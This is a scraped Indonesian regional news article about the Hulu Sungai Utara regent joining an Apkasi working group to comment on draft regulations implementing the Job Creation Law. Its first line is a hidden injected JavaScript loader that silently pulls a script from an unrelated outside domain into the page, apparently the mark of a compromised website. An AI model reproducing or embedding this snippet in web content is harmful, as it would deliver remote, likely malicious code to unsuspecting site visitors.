(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Pemerintah daerah (Pemda) berkepentingan untuk memberikan saran dan masukan kepada pemerintah pusat terkait penyusunan 40 Rancangan Peraturan Pemerintah (RPP) dan 4 Rancangan Peraturan Presiden (Rperpres) sebagai turunan Undang- Undang Cipta Kerja.
Hal tersebut seperti dikemukakan Bupati HSU H Abdul Wahid saat menghadiri rapat kelompok kerja (Pokja) Asosiasi Pemerintah Kabupaten Seluruh Indonesia (Apkasi) di kantor Sekretariat Apkasi Gedung Sahid Sudirman Center, Jakarta, Kamis (26/11/2020)
Adapun kehadiran Bupati HDU didampingi Sekretaris Daerah HM Taufik, Kabag Pemerintahan dan Kabag Humpro HSU sehubungan dipilihnya Pemerintah Kabupaten HSU sebagai anggota pokja Apkasi terkait RPP dan Rpepres sebagai peraturan pelaksanaan UU Nomor 11 tahun 2020 tentang Cipta Kerja.
Lebih Lanjut, Bupati HSU H Abdul Wahid mengatakan bahwa saat ini pemerintah sedang menyusun 40 RPP dan 4 Rperpres sebagai turunan UU Nomor 11 tahun 2020 tentang Cipta Kerja.
Karena itu, sebagai wadah pemerintah kabupaten, Apkasi merasa berkepentingan untuk memberikan saran dan masukan kepada pemerintah pusat terkait dalam penyusunan 40 RPP dan 4 Rperpres itu.
Hal tersebut juga tidak terlepas dari permintaan pemerintah kepada Apkasi agar segera memberikan masukan terhadap penyusunan RPP dan Rperpres UU Cipta Kerja.
“Hari ini kami menghadiri rapat pokja Apkasi yang beranggotan 11 kabupaten untuk membahas RPP dan Rperpres UU Cipta Kerja,” ujar Bupati Wahid.
Lebih jauh, Wahid menyebut pemerintah daerah sebagai ujung tombak pemerintan pusat sudah seharusnya diberikan kesempatan untuk memberikan masukan terhadap penyusunan RPP dan Rperpres UU Cipta Kerja.
Adapun diantara RPP yang dibahas dalam rapat tersebut seperti rancangan peraturan pemerintah tentang pajak daerah dan retribusi daerah dalam rangka mendukung kemudahan berusaha dan layanan daerah, RPP penyelenggaraan perizinan berusaha di daerah dan RPP penyelenggaraan penataan ruang. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.